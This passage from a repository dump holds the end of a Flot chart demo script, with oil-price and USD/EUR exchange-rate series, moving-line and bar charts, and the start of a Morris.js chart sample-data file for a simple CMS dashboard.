[1193004000000, 87.56],\n        [1193090400000, 87.56],\n        [1193176800000, 87.10],\n        [1193263200000, 91.86],\n        [1193612400000, 93.53],\n        [1193698800000, 94.53],\n        [1193871600000, 95.93],\n        [1194217200000, 93.98],\n        [1194303600000, 96.37],\n        [1194476400000, 95.46],\n        [1194562800000, 96.32],\n        [1195081200000, 93.43],\n        [1195167600000, 95.10],\n        [1195426800000, 94.64],\n        [1195513200000, 95.10],\n        [1196031600000, 97.70],\n        [1196118000000, 94.42],\n        [1196204400000, 90.62],\n        [1196290800000, 91.01],\n        [1196377200000, 88.71],\n        [1196636400000, 88.32],\n        [1196809200000, 90.23],\n        [1196982000000, 88.28],\n        [1197241200000, 87.86],\n        [1197327600000, 90.02],\n        [1197414000000, 92.25],\n        [1197586800000, 90.63],\n        [1197846000000, 90.63],\n        [1197932400000, 90.49],\n        [1198018800000, 91.24],\n        [1198105200000, 91.06],\n        [1198191600000, 90.49],\n        [1198710000000, 96.62],\n        [1198796400000, 96.00],\n        [1199142000000, 99.62],\n        [1199314800000, 99.18],\n        [1199401200000, 95.09],\n        [1199660400000, 96.33],\n        [1199833200000, 95.67],\n        [1200351600000, 91.90],\n        [1200438000000, 90.84],\n        [1200524400000, 90.13],\n        [1200610800000, 90.57],\n        [1200956400000, 89.21],\n        [1201042800000, 86.99],\n        [1201129200000, 89.85],\n        [1201474800000, 90.99],\n        [1201561200000, 91.64],\n        [1201647600000, 92.33],\n        [1201734000000, 91.75],\n        [1202079600000, 90.02],\n        [1202166000000, 88.41],\n        [1202252400000, 87.14],\n        [1202338800000, 88.11],\n        [1202425200000, 91.77],\n        [1202770800000, 92.78],\n        [1202857200000, 93.27],\n        [1202943600000, 95.46],\n        [1203030000000, 95.46],\n        [1203289200000, 101.74],\n        [1203462000000, 98.81],\n        [1203894000000, 100.88],\n        [1204066800000, 99.64],\n        [1204153200000, 102.59],\n        [1204239600000, 101.84],\n        [1204498800000, 99.52],\n        [1204585200000, 99.52],\n        [1204671600000, 104.52],\n        [1204758000000, 105.47],\n        [1204844400000, 105.15],\n        [1205103600000, 108.75],\n        [1205276400000, 109.92],\n        [1205362800000, 110.33],\n        [1205449200000, 110.21],\n        [1205708400000, 105.68],\n        [1205967600000, 101.84],\n        [1206313200000, 100.86],\n        [1206399600000, 101.22],\n        [1206486000000, 105.90],\n        [1206572400000, 107.58],\n        [1206658800000, 105.62],\n        [1206914400000, 101.58],\n        [1207000800000, 100.98],\n        [1207173600000, 103.83],\n        [1207260000000, 106.23],\n        [1207605600000, 108.50],\n        [1207778400000, 110.11],\n        [1207864800000, 110.14],\n        [1208210400000, 113.79],\n        [1208296800000, 114.93],\n        [1208383200000, 114.86],\n        [1208728800000, 117.48],\n        [1208815200000, 118.30],\n        [1208988000000, 116.06],\n        [1209074400000, 118.52],\n        [1209333600000, 118.75],\n        [1209420000000, 113.46],\n        [1209592800000, 112.52],\n        [1210024800000, 121.84],\n        [1210111200000, 123.53],\n        [1210197600000, 123.69],\n        [1210543200000, 124.23],\n        [1210629600000, 125.80],\n        [1210716000000, 126.29],\n        [1211148000000, 127.05],\n        [1211320800000, 129.07],\n        [1211493600000, 132.19],\n        [1211839200000, 128.85],\n        [1212357600000, 127.76],\n        [1212703200000, 138.54],\n        [1212962400000, 136.80],\n        [1213135200000, 136.38],\n        [1213308000000, 134.86],\n        [1213653600000, 134.01],\n        [1213740000000, 136.68],\n        [1213912800000, 135.65],\n        [1214172000000, 134.62],\n        [1214258400000, 134.62],\n        [1214344800000, 134.62],\n        [1214431200000, 139.64],\n        [1214517600000, 140.21],\n        [1214776800000, 140.00],\n        [1214863200000, 140.97],\n        [1214949600000, 143.57],\n        [1215036000000, 145.29],\n        [1215381600000, 141.37],\n        [1215468000000, 136.04],\n        [1215727200000, 146.40],\n        [1215986400000, 145.18],\n        [1216072800000, 138.74],\n        [1216159200000, 134.60],\n        [1216245600000, 129.29],\n        [1216332000000, 130.65],\n        [1216677600000, 127.95],\n        [1216850400000, 127.95],\n        [1217282400000, 122.19],\n        [1217455200000, 124.08],\n        [1217541600000, 125.10],\n        [1217800800000, 121.41],\n        [1217887200000, 119.17],\n        [1217973600000, 118.58],\n        [1218060000000, 120.02],\n        [1218405600000, 114.45],\n        [1218492000000, 113.01],\n        [1218578400000, 116.00],\n        [1218751200000, 113.77],\n        [1219010400000, 112.87],\n        [1219096800000, 114.53],\n        [1219269600000, 114.98],\n        [1219356000000, 114.98],\n        [1219701600000, 116.27],\n        [1219788000000, 118.15],\n        [1219874400000, 115.59],\n        [1219960800000, 115.46],\n        [1220306400000, 109.71],\n        [1220392800000, 109.35],\n        [1220565600000, 106.23],\n        [1220824800000, 106.34]\n    ];\n    var exchangerates = [\n        [1167606000000, 0.7580],\n        [1167692400000, 0.7580],\n        [1167778800000, 0.75470],\n        [1167865200000, 0.75490],\n        [1167951600000, 0.76130],\n        [1168038000000, 0.76550],\n        [1168124400000, 0.76930],\n        [1168210800000, 0.76940],\n        [1168297200000, 0.76880],\n        [1168383600000, 0.76780],\n        [1168470000000, 0.77080],\n        [1168556400000, 0.77270],\n        [1168642800000, 0.77490],\n        [1168729200000, 0.77410],\n        [1168815600000, 0.77410],\n        [1168902000000, 0.77320],\n        [1168988400000, 0.77270],\n        [1169074800000, 0.77370],\n        [1169161200000, 0.77240],\n        [1169247600000, 0.77120],\n        [1169334000000, 0.7720],\n        [1169420400000, 0.77210],\n        [1169506800000, 0.77170],\n        [1169593200000, 0.77040],\n        [1169679600000, 0.7690],\n        [1169766000000, 0.77110],\n        [1169852400000, 0.7740],\n        [1169938800000, 0.77450],\n        [1170025200000, 0.77450],\n        [1170111600000, 0.7740],\n        [1170198000000, 0.77160],\n        [1170284400000, 0.77130],\n        [1170370800000, 0.76780],\n        [1170457200000, 0.76880],\n        [1170543600000, 0.77180],\n        [1170630000000, 0.77180],\n        [1170716400000, 0.77280],\n        [1170802800000, 0.77290],\n        [1170889200000, 0.76980],\n        [1170975600000, 0.76850],\n        [1171062000000, 0.76810],\n        [1171148400000, 0.7690],\n        [1171234800000, 0.7690],\n        [1171321200000, 0.76980],\n        [1171407600000, 0.76990],\n        [1171494000000, 0.76510],\n        [1171580400000, 0.76130],\n        [1171666800000, 0.76160],\n        [1171753200000, 0.76140],\n        [1171839600000, 0.76140],\n        [1171926000000, 0.76070],\n        [1172012400000, 0.76020],\n        [1172098800000, 0.76110],\n        [1172185200000, 0.76220],\n        [1172271600000, 0.76150],\n        [1172358000000, 0.75980],\n        [1172444400000, 0.75980],\n        [1172530800000, 0.75920],\n        [1172617200000, 0.75730],\n        [1172703600000, 0.75660],\n        [1172790000000, 0.75670],\n        [1172876400000, 0.75910],\n        [1172962800000, 0.75820],\n        [1173049200000, 0.75850],\n        [1173135600000, 0.76130],\n        [1173222000000, 0.76310],\n        [1173308400000, 0.76150],\n        [1173394800000, 0.760],\n        [1173481200000, 0.76130],\n        [1173567600000, 0.76270],\n        [1173654000000, 0.76270],\n        [1173740400000, 0.76080],\n        [1173826800000, 0.75830],\n        [1173913200000, 0.75750],\n        [1173999600000, 0.75620],\n        [1174086000000, 0.7520],\n        [1174172400000, 0.75120],\n        [1174258800000, 0.75120],\n        [1174345200000, 0.75170],\n        [1174431600000, 0.7520],\n        [1174518000000, 0.75110],\n        [1174604400000, 0.7480],\n        [1174690800000, 0.75090],\n        [1174777200000, 0.75310],\n        [1174860000000, 0.75310],\n        [1174946400000, 0.75270],\n        [1175032800000, 0.74980],\n        [1175119200000, 0.74930],\n        [1175205600000, 0.75040],\n        [1175292000000, 0.750],\n        [1175378400000, 0.74910],\n        [1175464800000, 0.74910],\n        [1175551200000, 0.74850],\n        [1175637600000, 0.74840],\n        [1175724000000, 0.74920],\n        [1175810400000, 0.74710],\n        [1175896800000, 0.74590],\n        [1175983200000, 0.74770],\n        [1176069600000, 0.74770],\n        [1176156000000, 0.74830],\n        [1176242400000, 0.74580],\n        [1176328800000, 0.74480],\n        [1176415200000, 0.7430],\n        [1176501600000, 0.73990],\n        [1176588000000, 0.73950],\n        [1176674400000, 0.73950],\n        [1176760800000, 0.73780],\n        [1176847200000, 0.73820],\n        [1176933600000, 0.73620],\n        [1177020000000, 0.73550],\n        [1177106400000, 0.73480],\n        [1177192800000, 0.73610],\n        [1177279200000, 0.73610],\n        [1177365600000, 0.73650],\n        [1177452000000, 0.73620],\n        [1177538400000, 0.73310],\n        [1177624800000, 0.73390],\n        [1177711200000, 0.73440],\n        [1177797600000, 0.73270],\n        [1177884000000, 0.73270],\n        [1177970400000, 0.73360],\n        [1178056800000, 0.73330],\n        [1178143200000, 0.73590],\n        [1178229600000, 0.73590],\n        [1178316000000, 0.73720],\n        [1178402400000, 0.7360],\n        [1178488800000, 0.7360],\n        [1178575200000, 0.7350],\n        [1178661600000, 0.73650],\n        [1178748000000, 0.73840],\n        [1178834400000, 0.73950],\n        [1178920800000, 0.74130],\n        [1179007200000, 0.73970],\n        [1179093600000, 0.73960],\n        [1179180000000, 0.73850],\n        [1179266400000, 0.73780],\n        [1179352800000, 0.73660],\n        [1179439200000, 0.740],\n        [1179525600000, 0.74110],\n        [1179612000000, 0.74060],\n        [1179698400000, 0.74050],\n        [1179784800000, 0.74140],\n        [1179871200000, 0.74310],\n        [1179957600000, 0.74310],\n        [1180044000000, 0.74380],\n        [1180130400000, 0.74430],\n        [1180216800000, 0.74430],\n        [1180303200000, 0.74430],\n        [1180389600000, 0.74340],\n        [1180476000000, 0.74290],\n        [1180562400000, 0.74420],\n        [1180648800000, 0.7440],\n        [1180735200000, 0.74390],\n        [1180821600000, 0.74370],\n        [1180908000000, 0.74370],\n        [1180994400000, 0.74290],\n        [1181080800000, 0.74030],\n        [1181167200000, 0.73990],\n        [1181253600000, 0.74180],\n        [1181340000000, 0.74680],\n        [1181426400000, 0.7480],\n        [1181512800000, 0.7480],\n        [1181599200000, 0.7490],\n        [1181685600000, 0.74940],\n        [1181772000000, 0.75220],\n        [1181858400000, 0.75150],\n        [1181944800000, 0.75020],\n        [1182031200000, 0.74720],\n        [1182117600000, 0.74720],\n        [1182204000000, 0.74620],\n        [1182290400000, 0.74550],\n        [1182376800000, 0.74490],\n        [1182463200000, 0.74670],\n        [1182549600000, 0.74580],\n        [1182636000000, 0.74270],\n        [1182722400000, 0.74270],\n        [1182808800000, 0.7430],\n        [1182895200000, 0.74290],\n        [1182981600000, 0.7440],\n        [1183068000000, 0.7430],\n        [1183154400000, 0.74220],\n        [1183240800000, 0.73880],\n        [1183327200000, 0.73880],\n        [1183413600000, 0.73690],\n        [1183500000000, 0.73450],\n        [1183586400000, 0.73450],\n        [1183672800000, 0.73450],\n        [1183759200000, 0.73520],\n        [1183845600000, 0.73410],\n        [1183932000000, 0.73410],\n        [1184018400000, 0.7340],\n        [1184104800000, 0.73240],\n        [1184191200000, 0.72720],\n        [1184277600000, 0.72640],\n        [1184364000000, 0.72550],\n        [1184450400000, 0.72580],\n        [1184536800000, 0.72580],\n        [1184623200000, 0.72560],\n        [1184709600000, 0.72570],\n        [1184796000000, 0.72470],\n        [1184882400000, 0.72430],\n        [1184968800000, 0.72440],\n        [1185055200000, 0.72350],\n        [1185141600000, 0.72350],\n        [1185228000000, 0.72350],\n        [1185314400000, 0.72350],\n        [1185400800000, 0.72620],\n        [1185487200000, 0.72880],\n        [1185573600000, 0.73010],\n        [1185660000000, 0.73370],\n        [1185746400000, 0.73370],\n        [1185832800000, 0.73240],\n        [1185919200000, 0.72970],\n        [1186005600000, 0.73170],\n        [1186092000000, 0.73150],\n        [1186178400000, 0.72880],\n        [1186264800000, 0.72630],\n        [1186351200000, 0.72630],\n        [1186437600000, 0.72420],\n        [1186524000000, 0.72530],\n        [1186610400000, 0.72640],\n        [1186696800000, 0.7270],\n        [1186783200000, 0.73120],\n        [1186869600000, 0.73050],\n        [1186956000000, 0.73050],\n        [1187042400000, 0.73180],\n        [1187128800000, 0.73580],\n        [1187215200000, 0.74090],\n        [1187301600000, 0.74540],\n        [1187388000000, 0.74370],\n        [1187474400000, 0.74240],\n        [1187560800000, 0.74240],\n        [1187647200000, 0.74150],\n        [1187733600000, 0.74190],\n        [1187820000000, 0.74140],\n        [1187906400000, 0.73770],\n        [1187992800000, 0.73550],\n        [1188079200000, 0.73150],\n        [1188165600000, 0.73150],\n        [1188252000000, 0.7320],\n        [1188338400000, 0.73320],\n        [1188424800000, 0.73460],\n        [1188511200000, 0.73280],\n        [1188597600000, 0.73230],\n        [1188684000000, 0.7340],\n        [1188770400000, 0.7340],\n        [1188856800000, 0.73360],\n        [1188943200000, 0.73510],\n        [1189029600000, 0.73460],\n        [1189116000000, 0.73210],\n        [1189202400000, 0.72940],\n        [1189288800000, 0.72660],\n        [1189375200000, 0.72660],\n        [1189461600000, 0.72540],\n        [1189548000000, 0.72420],\n        [1189634400000, 0.72130],\n        [1189720800000, 0.71970],\n        [1189807200000, 0.72090],\n        [1189893600000, 0.7210],\n        [1189980000000, 0.7210],\n        [1190066400000, 0.7210],\n        [1190152800000, 0.72090],\n        [1190239200000, 0.71590],\n        [1190325600000, 0.71330],\n        [1190412000000, 0.71050],\n        [1190498400000, 0.70990],\n        [1190584800000, 0.70990],\n        [1190671200000, 0.70930],\n        [1190757600000, 0.70930],\n        [1190844000000, 0.70760],\n        [1190930400000, 0.7070],\n        [1191016800000, 0.70490],\n        [1191103200000, 0.70120],\n        [1191189600000, 0.70110],\n        [1191276000000, 0.70190],\n        [1191362400000, 0.70460],\n        [1191448800000, 0.70630],\n        [1191535200000, 0.70890],\n        [1191621600000, 0.70770],\n        [1191708000000, 0.70770],\n        [1191794400000, 0.70770],\n        [1191880800000, 0.70910],\n        [1191967200000, 0.71180],\n        [1192053600000, 0.70790],\n        [1192140000000, 0.70530],\n        [1192226400000, 0.7050],\n        [1192312800000, 0.70550],\n        [1192399200000, 0.70550],\n        [1192485600000, 0.70450],\n        [1192572000000, 0.70510],\n        [1192658400000, 0.70510],\n        [1192744800000, 0.70170],\n        [1192831200000, 0.70],\n        [1192917600000, 0.69950],\n        [1193004000000, 0.69940],\n        [1193090400000, 0.70140],\n        [1193176800000, 0.70360],\n        [1193263200000, 0.70210],\n        [1193349600000, 0.70020],\n        [1193436000000, 0.69670],\n        [1193522400000, 0.6950],\n        [1193612400000, 0.6950],\n        [1193698800000, 0.69390],\n        [1193785200000, 0.6940],\n        [1193871600000, 0.69220],\n        [1193958000000, 0.69190],\n        [1194044400000, 0.69140],\n        [1194130800000, 0.68940],\n        [1194217200000, 0.68910],\n        [1194303600000, 0.69040],\n        [1194390000000, 0.6890],\n        [1194476400000, 0.68340],\n        [1194562800000, 0.68230],\n        [1194649200000, 0.68070],\n        [1194735600000, 0.68150],\n        [1194822000000, 0.68150],\n        [1194908400000, 0.68470],\n        [1194994800000, 0.68590],\n        [1195081200000, 0.68220],\n        [1195167600000, 0.68270],\n        [1195254000000, 0.68370],\n        [1195340400000, 0.68230],\n        [1195426800000, 0.68220],\n        [1195513200000, 0.68220],\n        [1195599600000, 0.67920],\n        [1195686000000, 0.67460],\n        [1195772400000, 0.67350],\n        [1195858800000, 0.67310],\n        [1195945200000, 0.67420],\n        [1196031600000, 0.67440],\n        [1196118000000, 0.67390],\n        [1196204400000, 0.67310],\n        [1196290800000, 0.67610],\n        [1196377200000, 0.67610],\n        [1196463600000, 0.67850],\n        [1196550000000, 0.68180],\n        [1196636400000, 0.68360],\n        [1196722800000, 0.68230],\n        [1196809200000, 0.68050],\n        [1196895600000, 0.67930],\n        [1196982000000, 0.68490],\n        [1197068400000, 0.68330],\n        [1197154800000, 0.68250],\n        [1197241200000, 0.68250],\n        [1197327600000, 0.68160],\n        [1197414000000, 0.67990],\n        [1197500400000, 0.68130],\n        [1197586800000, 0.68090],\n        [1197673200000, 0.68680],\n        [1197759600000, 0.69330],\n        [1197846000000, 0.69330],\n        [1197932400000, 0.69450],\n        [1198018800000, 0.69440],\n        [1198105200000, 0.69460],\n        [1198191600000, 0.69640],\n        [1198278000000, 0.69650],\n        [1198364400000, 0.69560],\n        [1198450800000, 0.69560],\n        [1198537200000, 0.6950],\n        [1198623600000, 0.69480],\n        [1198710000000, 0.69280],\n        [1198796400000, 0.68870],\n        [1198882800000, 0.68240],\n        [1198969200000, 0.67940],\n        [1199055600000, 0.67940],\n        [1199142000000, 0.68030],\n        [1199228400000, 0.68550],\n        [1199314800000, 0.68240],\n        [1199401200000, 0.67910],\n        [1199487600000, 0.67830],\n        [1199574000000, 0.67850],\n        [1199660400000, 0.67850],\n        [1199746800000, 0.67970],\n        [1199833200000, 0.680],\n        [1199919600000, 0.68030],\n        [1200006000000, 0.68050],\n        [1200092400000, 0.6760],\n        [1200178800000, 0.6770],\n        [1200265200000, 0.6770],\n        [1200351600000, 0.67360],\n        [1200438000000, 0.67260],\n        [1200524400000, 0.67640],\n        [1200610800000, 0.68210],\n        [1200697200000, 0.68310],\n        [1200783600000, 0.68420],\n        [1200870000000, 0.68420],\n        [1200956400000, 0.68870],\n        [1201042800000, 0.69030],\n        [1201129200000, 0.68480],\n        [1201215600000, 0.68240],\n        [1201302000000, 0.67880],\n        [1201388400000, 0.68140],\n        [1201474800000, 0.68140],\n        [1201561200000, 0.67970],\n        [1201647600000, 0.67690],\n        [1201734000000, 0.67650],\n        [1201820400000, 0.67330],\n        [1201906800000, 0.67290],\n        [1201993200000, 0.67580],\n        [1202079600000, 0.67580],\n        [1202166000000, 0.6750],\n        [1202252400000, 0.6780],\n        [1202338800000, 0.68330],\n        [1202425200000, 0.68560],\n        [1202511600000, 0.69030],\n        [1202598000000, 0.68960],\n        [1202684400000, 0.68960],\n        [1202770800000, 0.68820],\n        [1202857200000, 0.68790],\n        [1202943600000, 0.68620],\n        [1203030000000, 0.68520],\n        [1203116400000, 0.68230],\n        [1203202800000, 0.68130],\n        [1203289200000, 0.68130],\n        [1203375600000, 0.68220],\n        [1203462000000, 0.68020],\n        [1203548400000, 0.68020],\n        [1203634800000, 0.67840],\n        [1203721200000, 0.67480],\n        [1203807600000, 0.67470],\n        [1203894000000, 0.67470],\n        [1203980400000, 0.67480],\n        [1204066800000, 0.67330],\n        [1204153200000, 0.6650],\n        [1204239600000, 0.66110],\n        [1204326000000, 0.65830],\n        [1204412400000, 0.6590],\n        [1204498800000, 0.6590],\n        [1204585200000, 0.65810],\n        [1204671600000, 0.65780],\n        [1204758000000, 0.65740],\n        [1204844400000, 0.65320],\n        [1204930800000, 0.65020],\n        [1205017200000, 0.65140],\n        [1205103600000, 0.65140],\n        [1205190000000, 0.65070],\n        [1205276400000, 0.6510],\n        [1205362800000, 0.64890],\n        [1205449200000, 0.64240],\n        [1205535600000, 0.64060],\n        [1205622000000, 0.63820],\n        [1205708400000, 0.63820],\n        [1205794800000, 0.63410],\n        [1205881200000, 0.63440],\n        [1205967600000, 0.63780],\n        [1206054000000, 0.64390],\n        [1206140400000, 0.64780],\n        [1206226800000, 0.64810],\n        [1206313200000, 0.64810],\n        [1206399600000, 0.64940],\n        [1206486000000, 0.64380],\n        [1206572400000, 0.63770],\n        [1206658800000, 0.63290],\n        [1206745200000, 0.63360],\n        [1206831600000, 0.63330],\n        [1206914400000, 0.63330],\n        [1207000800000, 0.6330],\n        [1207087200000, 0.63710],\n        [1207173600000, 0.64030],\n        [1207260000000, 0.63960],\n        [1207346400000, 0.63640],\n        [1207432800000, 0.63560],\n        [1207519200000, 0.63560],\n        [1207605600000, 0.63680],\n        [1207692000000, 0.63570],\n        [1207778400000, 0.63540],\n        [1207864800000, 0.6320],\n        [1207951200000, 0.63320],\n        [1208037600000, 0.63280],\n        [1208124000000, 0.63310],\n        [1208210400000, 0.63420],\n        [1208296800000, 0.63210],\n        [1208383200000, 0.63020],\n        [1208469600000, 0.62780],\n        [1208556000000, 0.63080],\n        [1208642400000, 0.63240],\n        [1208728800000, 0.63240],\n        [1208815200000, 0.63070],\n        [1208901600000, 0.62770],\n        [1208988000000, 0.62690],\n        [1209074400000, 0.63350],\n        [1209160800000, 0.63920],\n        [1209247200000, 0.640],\n        [1209333600000, 0.64010],\n        [1209420000000, 0.63960],\n        [1209506400000, 0.64070],\n        [1209592800000, 0.64230],\n        [1209679200000, 0.64290],\n        [1209765600000, 0.64720],\n        [1209852000000, 0.64850],\n        [1209938400000, 0.64860],\n        [1210024800000, 0.64670],\n        [1210111200000, 0.64440],\n        [1210197600000, 0.64670],\n        [1210284000000, 0.65090],\n        [1210370400000, 0.64780],\n        [1210456800000, 0.64610],\n        [1210543200000, 0.64610],\n        [1210629600000, 0.64680],\n        [1210716000000, 0.64490],\n        [1210802400000, 0.6470],\n        [1210888800000, 0.64610],\n        [1210975200000, 0.64520],\n        [1211061600000, 0.64220],\n        [1211148000000, 0.64220],\n        [1211234400000, 0.64250],\n        [1211320800000, 0.64140],\n        [1211407200000, 0.63660],\n        [1211493600000, 0.63460],\n        [1211580000000, 0.6350],\n        [1211666400000, 0.63460],\n        [1211752800000, 0.63460],\n        [1211839200000, 0.63430],\n        [1211925600000, 0.63460],\n        [1212012000000, 0.63790],\n        [1212098400000, 0.64160],\n        [1212184800000, 0.64420],\n        [1212271200000, 0.64310],\n        [1212357600000, 0.64310],\n        [1212444000000, 0.64350],\n        [1212530400000, 0.6440],\n        [1212616800000, 0.64730],\n        [1212703200000, 0.64690],\n        [1212789600000, 0.63860],\n        [1212876000000, 0.63560],\n        [1212962400000, 0.6340],\n        [1213048800000, 0.63460],\n        [1213135200000, 0.6430],\n        [1213221600000, 0.64520],\n        [1213308000000, 0.64670],\n        [1213394400000, 0.65060],\n        [1213480800000, 0.65040],\n        [1213567200000, 0.65030],\n        [1213653600000, 0.64810],\n        [1213740000000, 0.64510],\n        [1213826400000, 0.6450],\n        [1213912800000, 0.64410],\n        [1213999200000, 0.64140],\n        [1214085600000, 0.64090],\n        [1214172000000, 0.64090],\n        [1214258400000, 0.64280],\n        [1214344800000, 0.64310],\n        [1214431200000, 0.64180],\n        [1214517600000, 0.63710],\n        [1214604000000, 0.63490],\n        [1214690400000, 0.63330],\n        [1214776800000, 0.63340],\n        [1214863200000, 0.63380],\n        [1214949600000, 0.63420],\n        [1215036000000, 0.6320],\n        [1215122400000, 0.63180],\n        [1215208800000, 0.6370],\n        [1215295200000, 0.63680],\n        [1215381600000, 0.63680],\n        [1215468000000, 0.63830],\n        [1215554400000, 0.63710],\n        [1215640800000, 0.63710],\n        [1215727200000, 0.63550],\n        [1215813600000, 0.6320],\n        [1215900000000, 0.62770],\n        [1215986400000, 0.62760],\n        [1216072800000, 0.62910],\n        [1216159200000, 0.62740],\n        [1216245600000, 0.62930],\n        [1216332000000, 0.63110],\n        [1216418400000, 0.6310],\n        [1216504800000, 0.63120],\n        [1216591200000, 0.63120],\n        [1216677600000, 0.63040],\n        [1216764000000, 0.62940],\n        [1216850400000, 0.63480],\n        [1216936800000, 0.63780],\n        [1217023200000, 0.63680],\n        [1217109600000, 0.63680],\n        [1217196000000, 0.63680],\n        [1217282400000, 0.6360],\n        [1217368800000, 0.6370],\n        [1217455200000, 0.64180],\n        [1217541600000, 0.64110],\n        [1217628000000, 0.64350],\n        [1217714400000, 0.64270],\n        [1217800800000, 0.64270],\n        [1217887200000, 0.64190],\n        [1217973600000, 0.64460],\n        [1218060000000, 0.64680],\n        [1218146400000, 0.64870],\n        [1218232800000, 0.65940],\n        [1218319200000, 0.66660],\n        [1218405600000, 0.66660],\n        [1218492000000, 0.66780],\n        [1218578400000, 0.67120],\n        [1218664800000, 0.67050],\n        [1218751200000, 0.67180],\n        [1218837600000, 0.67840],\n        [1218924000000, 0.68110],\n        [1219010400000, 0.68110],\n        [1219096800000, 0.67940],\n        [1219183200000, 0.68040],\n        [1219269600000, 0.67810],\n        [1219356000000, 0.67560],\n        [1219442400000, 0.67350],\n        [1219528800000, 0.67630],\n        [1219615200000, 0.67620],\n        [1219701600000, 0.67770],\n        [1219788000000, 0.68150],\n        [1219874400000, 0.68020],\n        [1219960800000, 0.6780],\n        [1220047200000, 0.67960],\n        [1220133600000, 0.68170],\n        [1220220000000, 0.68170],\n        [1220306400000, 0.68320],\n        [1220392800000, 0.68770],\n        [1220479200000, 0.69120],\n        [1220565600000, 0.69140],\n        [1220652000000, 0.70090],\n        [1220738400000, 0.70120],\n        [1220824800000, 0.7010],\n        [1220911200000, 0.70050]\n    ];\n\n    function euroFormatter(v, axis) {\n        return v.toFixed(axis.tickDecimals) + \"€\";\n    }\n\n    function doPlot(position) {\n        $.plot($(\"#flot-line-chart-multi\"), [{\n            data: oilprices,\n            label: \"Oil price ($)\"\n        }, {\n            data: exchangerates,\n            label: \"USD/EUR exchange rate\",\n            yaxis: 2\n        }], {\n            xaxes: [{\n                mode: 'time'\n            }],\n            yaxes: [{\n                min: 0\n            }, {\n                // align if we are to the right\n                alignTicksWithAxis: position == \"right\" ? 1 : null,\n                position: position,\n                tickFormatter: euroFormatter\n            }],\n            legend: {\n                position: 'sw'\n            },\n            grid: {\n                hoverable: true //IMPORTANT! this is needed for tooltip to work\n            },\n            tooltip: true,\n            tooltipOpts: {\n                content: \"%s for %x was %y\",\n                xDateFormat: \"%y-%0m-%0d\",\n\n                onHover: function(flotItem, $tooltipEl) {\n                    // console.log(flotItem, $tooltipEl);\n                }\n            }\n\n        });\n    }\n\n    doPlot(\"right\");\n\n    $(\"button\").click(function() {\n        doPlot($(this).text());\n    });\n});\n\n//Flot Moving Line Chart\n\n$(function() {\n\n    var container = $(\"#flot-line-chart-moving\");\n\n    // Determine how many data points to keep based on the placeholder's initial size;\n    // this gives us a nice high-res plot while avoiding more than one point per pixel.\n\n    var maximum = container.outerWidth() / 2 || 300;\n\n    //\n\n    var data = [];\n\n    function getRandomData() {\n\n        if (data.length) {\n            data = data.slice(1);\n        }\n\n        while (data.length < maximum) {\n            var previous = data.length ? data[data.length - 1] : 50;\n            var y = previous + Math.random() * 10 - 5;\n            data.push(y < 0 ? 0 : y > 100 ? 100 : y);\n        }\n\n        // zip the generated y values with the x values\n\n        var res = [];\n        for (var i = 0; i < data.length; ++i) {\n            res.push([i, data[i]])\n        }\n\n        return res;\n    }\n\n    //\n\n    series = [{\n        data: getRandomData(),\n        lines: {\n            fill: true\n        }\n    }];\n\n    //\n\n    var plot = $.plot(container, series, {\n        grid: {\n            borderWidth: 1,\n            minBorderMargin: 20,\n            labelMargin: 10,\n            backgroundColor: {\n                colors: [\"#fff\", \"#e4f4f4\"]\n            },\n            margin: {\n                top: 8,\n                bottom: 20,\n                left: 20\n            },\n            markings: function(axes) {\n                var markings = [];\n                var xaxis = axes.xaxis;\n                for (var x = Math.floor(xaxis.min); x < xaxis.max; x += xaxis.tickSize * 2) {\n                    markings.push({\n                        xaxis: {\n                            from: x,\n                            to: x + xaxis.tickSize\n                        },\n                        color: \"rgba(232, 232, 255, 0.2)\"\n                    });\n                }\n                return markings;\n            }\n        },\n        xaxis: {\n            tickFormatter: function() {\n                return \"\";\n            }\n        },\n        yaxis: {\n            min: 0,\n            max: 110\n        },\n        legend: {\n            show: true\n        }\n    });\n\n    // Update the random dataset at 25FPS for a smoothly-animating chart\n\n    setInterval(function updateRandom() {\n        series[0].data = getRandomData();\n        plot.setData(series);\n        plot.draw();\n    }, 40);\n\n});\n\n//Flot Bar Chart\n\n$(function() {\n\n    var barOptions = {\n        series: {\n            bars: {\n                show: true,\n                barWidth: 43200000\n            }\n        },\n        xaxis: {\n            mode: \"time\",\n            timeformat: \"%m/%d\",\n            minTickSize: [1, \"day\"]\n        },\n        grid: {\n            hoverable: true\n        },\n        legend: {\n            show: false\n        },\n        tooltip: true,\n        tooltipOpts: {\n            content: \"x: %x, y: %y\"\n        }\n    };\n    var barData = {\n        label: \"bar\",\n        data: [\n            [1354521600000, 1000],\n            [1355040000000, 2000],\n            [1355223600000, 3000],\n            [1355306400000, 4000],\n            [1355487300000, 5000],\n            [1355571900000, 6000]\n        ]\n    };\n    $.plot($(\"#flot-bar-chart\"), [barData], barOptions);\n\n});\n"
  },
  {
    "path": "web_simplecms/simplecms/data/morris-data.js",
    "content": "$(function() {\n\n    Morris.Area({\n        element: 'morris-area-chart',\n        data: [{\n            period: '2010 Q1',\n            iphone: 2666,\n            ipad: null,\n            itouch: 2647\n        }, {\n            period: '2010 Q2',\n            iphone: 2778,\n            ipad: 2294,\n            itouch: 2441\n        }, {\n            period: '2010 Q3',\n            iphone: 4912,\n            ipad: 1969,\n            itouch: 2501\n        }, {\n            period: '2010 Q4',\n            iphone: 3767,\n            ipad: 3597,\n            itouch: 5689\n        }, {\n            period: '2011 Q1',\n            iphone: 6810,\n            ipad: 1914,\n            itouch: 2293\n        }, {\n            period: '2011 Q2',\n            iphone: 5670,\n            ipad: 4293,\n            itouch: 1881\n        }, {\n            period: '2011 Q3',\n            iphone: 4820,\n            ipad: 3795,\n            itouch: 1588\n        }, {\n            period: '2011 Q4',\n            iphone: 15073,\n            ipad: 5967,\n            itouch: 5175\n        }, {\n            period: '2012 Q1',\n            iphone: 10687,\n            ipad: 4460,\n            itouch: 2028\n        }, {\n            period: '2012 Q2',\n            iphone: 8432,\n            ipad: 5713,\n            itouch: 1791\n        }],\n        xkey: 'period',\n        ykeys: ['iphone', 'ipad', 'itouch'],\n        labels: ['iPhone', 'iPad', 'iPod Touch'],\n        pointSize: 2,\n        hideHover: 'auto',\n        resize: true\n    });\n\n    Morris.Donut({\n        element: 'morris-donut-chart',\n        data: [{\n            label: \"Download Sales\",\n            value: 12\n        }, {\n            label: \"In-Store Sales\",\n            value: 30\n        }, {\n            label: \"Mail-Order Sales\",\n            value: 20\n        }],\n        resize: true\n    });\n\n    Morris.Bar({\n        element: 'morris-bar-chart',\n        data: [{\n            y: '2006',\n            a: 100,\n            b: 90\n        }, {\n            y: 